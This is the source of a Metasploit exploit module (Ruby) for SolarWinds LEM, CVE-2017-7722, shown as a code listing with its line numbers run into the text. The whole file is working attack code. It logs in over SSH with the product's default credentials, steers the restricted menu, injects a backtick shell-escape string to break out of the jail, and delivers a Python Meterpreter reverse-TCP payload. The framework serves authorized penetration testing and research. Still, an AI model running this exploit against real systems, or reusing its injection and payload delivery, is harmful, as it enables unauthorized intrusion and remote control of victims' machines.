Path: blob/master/modules/exploits/linux/ssh/solarwinds_lem_exec.rb
28024 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SSH910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SolarWinds LEM Default SSH Password Remote Code Execution',15'Description' => %q{16This module exploits the default credentials of SolarWinds LEM. A menu system is encountered when the SSH17service is accessed with the default username and password which is "cmc" and "password". By exploiting a18vulnerability that exist on the menuing script, an attacker can escape from restricted shell.1920This module was tested against SolarWinds LEM v6.3.1.21},22'License' => MSF_LICENSE,23'Author' => [24'Mehmet Ince <[email protected]>', # discovery & msf module25],26'References' => [27['CVE', '2017-7722'],28['URL', 'http://web.archive.org/web/20250221015511/https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'],29['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH]30],31'DefaultOptions' => {32'Payload' => 'python/meterpreter/reverse_tcp'33},34'Platform' => ['python'],35'Arch' => ARCH_PYTHON,36'Targets' => [ ['Automatic', {}] ],37'Privileged' => false,38'DisclosureDate' => '2017-03-17',39'DefaultTarget' => 0,40'Notes' => {41'Stability' => [CRASH_SAFE],42'Reliability' => [REPEATABLE_SESSION],43'SideEffects' => []44}45)46)4748register_options(49[50Opt::RPORT(32022),51OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),52OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),53]54)5556register_advanced_options(57[58OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),59OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])60]61)62end6364def rhost65datastore['RHOST']66end6768def rport69datastore['RPORT']70end7172def username73datastore['USERNAME']74end7576def password77datastore['PASSWORD']78end7980def exploit81opts = ssh_client_defaults.merge({82auth_methods: ['keyboard-interactive'],83port: rport,84password: password85})8687opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']8889print_status("#{rhost}:#{rport} - Attempting to login...")9091begin92ssh = nil93::Timeout.timeout(datastore['SSH_TIMEOUT']) do94ssh = Net::SSH.start(rhost, username, opts)95end96rescue Rex::ConnectionError97return98rescue Net::SSH::Disconnect, ::EOFError99print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"100return101rescue ::Timeout::Error102print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"103return104rescue Net::SSH::AuthenticationFailed105print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."106rescue Net::SSH::Exception => e107print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"108return109end110111return unless ssh112113print_good('SSH connection is established.')114115payload_executed = false116117ssh.open_channel do |channel|118print_status('Requesting pty... We need it in order to interact with menuing system.')119120channel.request_pty do |ch, pty_success|121raise 'Could not request pty!' unless pty_success122123print_good('Pty successfully obtained.')124125print_status('Requesting a shell.')126ch.send_channel_request('shell') do |_ch, shell_success|127raise 'Could not open shell!' unless shell_success128129print_good('Remote shell successfully obtained.')130end131end132133channel.on_data do |_ch, data|134if data.include? 'cmc '135print_good('Step 1 is done. Managed to access terminal menu.')136channel.send_data("service\n")137end138139if data.include? 'service '140print_good("Step 2 is done. Managed to select 'service' sub menu.")141channel.send_data("restrictssh\n")142end143144if data.include? 'Press <enter> to configure restriction on the SSH service to the Manager Appliance'145print_good("Step 3 is done. Managed to start 'restrictssh' function.")146channel.send_data("*#`bash>&2`\n")147end148149if data.include? 'Are the hosts'150print_good('Step 4 is done. We are going to try escape from jail shell.')151channel.send_data("Y\n")152end153154if data.include?('/usr/local/contego') && (payload_executed == false)155print_good('Sweet..! Escaped from jail.')156print_status('Delivering payload...')157channel.send_data("python -c \"#{payload.encoded}\"\n")158payload_executed = true159end160end161end162begin163ssh.loop unless session_created?164rescue Errno::EBADF => e165elog(e)166end167end168end169170171